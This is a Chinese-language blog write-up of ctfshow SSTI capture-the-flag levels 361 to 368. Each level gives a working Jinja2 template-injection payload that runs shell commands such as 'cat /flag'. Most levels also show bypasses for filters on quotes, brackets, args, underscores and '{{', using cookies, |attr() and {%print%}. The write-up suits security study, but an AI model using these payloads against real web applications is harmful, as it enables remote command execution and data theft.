当前位置:   article > 正文

ctfshow---web入门---SSTI(361-368)_ctfshow web入门366

ctfshow web入门366

web361

根据题目给的“名字就是考点”,

所以构建playload

  1. ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
  1. "".__class__: 获取空字符串的类,即str
  2. .__bases__[0]: 获取str类的基类,即objectobject是所有Python类的基类。
  3. .__subclasses__(): 获取object类所有的直接子类列表。
  4. [132]: 选择列表中的第133个子类(因为索引是从0开始的)。这个特定的子类是不确定的,因为它取决于Python的实现和可能加载的其他模块。
  5. .__init__: 获取该子类的初始化方法(如果存在的话)。
  6. .__globals__: 获取定义__init__方法的模块的全局变量字典。
  7. ['popen']: 从全局变量字典中获取名为popen的引用。这通常指的是os.popen函数,该函数用于执行一个命令并返回一个文件对象。

web362

根据题目"开始过滤"

可以试一试过滤,判断一下它过滤什么

测试数字

经过多次测试发现只有1和7没被过滤

绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’

  1. ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

这一关也是过滤

具体过程就不说了,它是过滤了单双引号

payload:

?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()

web364

也是过滤

只不过它过滤了args ,所以GET传参就不可以了

改用cookie 

  1. ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
  2. Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

测试jinja2模板注入

这时候我们造一个字典跑一下过滤

过程就不说了

一共过滤了四个字符''""[args

我们选择用popen函数执行命令,其他五种方式同理。

先测测os模块在哪

  1. {{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

定位132

原始payload:

  1. {{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

__getitem__绕过中括号[过滤:

  1. {{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}

request对象绕过引号''""过滤,cookie或者values绕过args过滤

  1. {{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}

Cookie传参:x=ls /

然后

Cookie传参:x=tac /f*

就完成了

web366

直接说结果,过滤了''""[args_

我们选择用popen函数执行命令

定位

{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

还是132

原始payload

  1. {{(lipsum.__globals__).os.popen("tac /flag").read()}}

|attr()+request对象绕过对下划线_过滤。

request对象绕过引号''""过滤,cookie或者values绕过args过滤

  1. {{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}

Cookie传参:x1= __globals__;x2=tac /flag

web367

过滤了''""[args_os

  1. {{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

web368

过滤了''""[args_os{{

比上题多过滤了一个{{,我们用{%print(......)%}绕过

payload

{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}

 

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号